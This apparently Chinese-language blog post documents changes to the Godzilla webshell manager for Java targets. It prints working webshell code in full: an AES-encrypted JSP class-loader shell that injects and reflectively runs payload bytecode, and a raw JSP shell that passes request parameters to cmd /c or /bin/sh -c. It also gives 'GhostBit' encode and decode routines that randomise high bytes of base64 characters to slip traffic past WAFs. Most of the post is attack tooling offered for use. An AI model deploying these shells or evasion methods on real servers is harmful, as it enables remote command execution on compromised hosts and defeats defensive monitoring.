上一部分主要针对php相关部分进行修改,这里主要针对Java,会稍微复杂一点。当然代码都是AI写 + 人工审查😜。
原生Java Shell
和PHP的文件结构类似,Cryption用作命令加载器、Payload生成实际需要的命令、Plugin是扩展插件。
协议流程如下:
1. `init()`: 把 payload.class 字节码注入服务端 → 服务端 ClassLoader 加载
2. `encode()`: AES加密命令 → Gzip压缩 → 发送
3. `decode()`: 响应 → Gzip解压 → AES解密
4. 服务端: 接收 → 解密 → 反射调用对应方法 → 加密返回
总之原生的Shell就是基于类加载和反射调用实现的。模板分为两部分Code和GlobalCode,一个用于解析实际的数据,一个提供数据加解密的函数,
Code逻辑如下:
- 取 POST 参数 → base64 解码 → AES 解密 → 得到 data
2. 如果 session 里没有 “payload”:→ 用 X 类加载 data 字节码 → 存入 session(首次注入)
3. 如果已有 “payload”:→ data 放入 request.parameters → 实例化 payload → 调 equals(arrOut) 执行→ 调 toString() 触发输出 → 用 md5 标记包裹 → 写回响应
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| try { byte[] data = base64Decode(request.getParameter(pass)); data = x(data, false); if (session.getAttribute("payload") == null) { session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data)); } else { request.setAttribute("parameters", data); java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = ((Class) session.getAttribute("payload")).newInstance(); f.equals(arrOut); f.equals(pageContext); response.getWriter().write(md5.substring(0, 16)); f.toString(); response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); response.getWriter().write(md5.substring(16)); } } catch (Exception e) { }
|
GlobalCode逻辑如下:就是一些工具方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| String xc = "{secretKey}"; String pass = "{pass}"; String md5 = md5(pass + xc);
class X extends ClassLoader { public X(ClassLoader z) { super(z); } public Class Q(byte[] cb) { return super.defineClass(cb, 0, cb.length); } }
public byte[] x(byte[] s, boolean m) { try { javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); return c.doFinal(s); } catch (Exception e) { return null; } }
public static String md5(String s) { String ret = null; try { java.security.MessageDigest m; m = java.security.MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); } catch (Exception e) {} return ret; }
public static String base64Encode(byte[] bs) throws Exception { Class base64; String value = null; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }) .invoke(Encoder, new Object[] { bs }); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }) .invoke(Encoder, new Object[] { bs }); } catch (Exception e2) {} } return value; }
public static byte[] base64Decode(String bs) throws Exception { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[] { String.class }) .invoke(decoder, new Object[] { bs }); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }) .invoke(decoder, new Object[] { bs }); } catch (Exception e2) {} } return value; }
|
JavaAesBase64Ex和JavaAesBase64的区别
原版有两个没有注册的连接方式,其中一个是JavaAesBase64Ex,适用场景如下
- 无 Session 的容器(某些定制 Tomcat、Serverless 环境)——但极少见
- 负载均衡不做 sticky session——每次请求落到不同节点,需要重新注入
- 躲避 session 持久化检测——payload 不落存储
Ex 版牺牲了流量大小换取了 session 无关性——即使容器重启或 session 丢失也能正常工作。每次请求都重新发送载荷——第一个参数是 AES 加密的 payload 字节码,第二个才是实际命令数据。相当于每次通信都重新注入一次 payload 类,不依赖 session。
| 特性 |
Base64 |
Base64Ex |
| 会话保持 |
依赖 Session/类缓存 |
每次请求都发 payload |
| 请求格式 |
pass=AES(cmd) |
pass=AES(payload)&passW=AES(cmd) |
| 适用场景 |
标准容器(Tomcat) |
Session 不可靠的环境 |
| 免杀 |
流量更小 |
载荷每次都变(可配合类名混淆) |
增加Raw连接能力
哥斯拉的JSP都是基于AES加密和类加载的,当我们需要连接一个简单的JSP Webshell,比如下面这个的时候,就只能选择蚁剑或者冰蝎,不太方便,故增加此能力:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <%@ page language="java" pageEncoding="UTF-8" %> <% String pass = "pass"; String cmd = request.getParameter(pass); if (cmd != null && cmd.trim().length() > 0) { try { String os = System.getProperty("os.name").toLowerCase(); String[] shellCmd; if (os.contains("win")) { shellCmd = new String[]{"cmd", "/c", cmd}; } else { shellCmd = new String[]{"/bin/sh", "-c", cmd}; } Process p = Runtime.getRuntime().exec(shellCmd); java.io.InputStream in = p.getInputStream(); java.io.InputStream err = p.getErrorStream(); byte[] buf = new byte[8192]; int len; while ((len = in.read(buf)) > 0) { out.print(new String(buf, 0, len, "UTF-8")); } while ((len = err.read(buf)) > 0) { out.print(new String(buf, 0, len, "UTF-8")); } } catch (Exception e) { out.print("Error: " + e.getMessage()); } } %>
|
Raw 模式(JavaRawPayload):
1. 协议:明文 form-encoded POST,密码=URL编码命令,响应原样返回
2. 服务端:简单 JSP shell,Runtime.exec() 包在 cmd /c 或 sh -c 里执行
3. 适用场景:只有 Runtime.exec 权限的简单 JSP shell,或者目标环境不允许加载额外类字节码。
| 特性 |
标准(AES) |
Raw |
| 加密 |
AES + Gzip |
Base64 + Xor |
| 载荷注入 |
编译好的 .class |
无 |
| 功能完整度 |
全部 |
命令执行 + 文件管理 |
| 兼容性 |
需 Servlet 容器 |
任何 JSP 容器 |
然后修改为json:

GhostBit进行编码
GhostBit是最近披露的java的类型转换缺陷,原文地址。简单来说,在某些类型转换过程中被不小心丢掉的高位,会导致原字符串内容变化。
目前已知的会存在这种现象的有
(byte) ch:显式的 byte 强制类型转化
ch & 0xFF:位掩码,保留低 8 位
OutputStream.write(int):写入流时被截断
DataOutputStream.writeBytes():官方 JDK 方法,在文档中明确写明会丢弃高 8 位
我们可以利用base64中的幽灵比特来对流量进行一个变形,让WAF难以识别,sun.misc.BASE64Decoder被证实存在,那么利用这一个点就可以实现了。

管理器里面增加下面两个方法,然后在encode和decode里面加入调用即可。
- 客户端侧:AES加密 →
base64("ABC...xyz=") → ghostScramble → 每3个字符,随机高位:(random(1-255)<<8) | char
→ “ABCDEFGHI…” (每次请求字符不同) → UTF-8 → 发往服务端
- 服务端侧:
request.setCharacterEncoding("UTF-8") → 正确还原Unicode new sun.misc.BASE64Decoder().decodeBuffer(raw)
→ 内部(byte)charAt(i)→ 截取低8位 → 还原 base64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| private static String ghostScramble(String b64) { StringBuilder sb = new StringBuilder(b64.length()); java.util.Random r = new java.util.Random(); for (int i = 0; i < b64.length(); i++) { char c = b64.charAt(i); if (i % 3 == 0) { int high; do { high = (r.nextInt(255) + 1) << 8; } while ((high | 0xFF) >= 0xD800 && (high | 0xFF) <= 0xDFFF); sb.append((char)(high | c)); } else { sb.append(c); } } return sb.toString(); } private static String ghostStrip(String s) { StringBuilder sb = new StringBuilder(s.length()); for (int i = 0; i < s.length(); i++) { char c = s.charAt(i); if (i % 3 == 0) { sb.append((char)(c & 0xFF)); } else { sb.append(c); } } return sb.toString(); }
|
webshell中增加一个兜底的sun.misc.BASE64Decoder解析即可实现:前提:sun.misc.BASE64Decoder 在 JDK < 17 可用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public static byte[] base64Decode(String bs) throws Exception { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[] { String.class }) .invoke(decoder, new Object[] { bs }); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }) .invoke(decoder, new Object[] { bs }); } catch (Exception e2) {} } return value; }
|
实际效果:由于高字节会被忽略,所以可以随机填充让每次都不一样,这样一般的WAF也不会解析这是base64
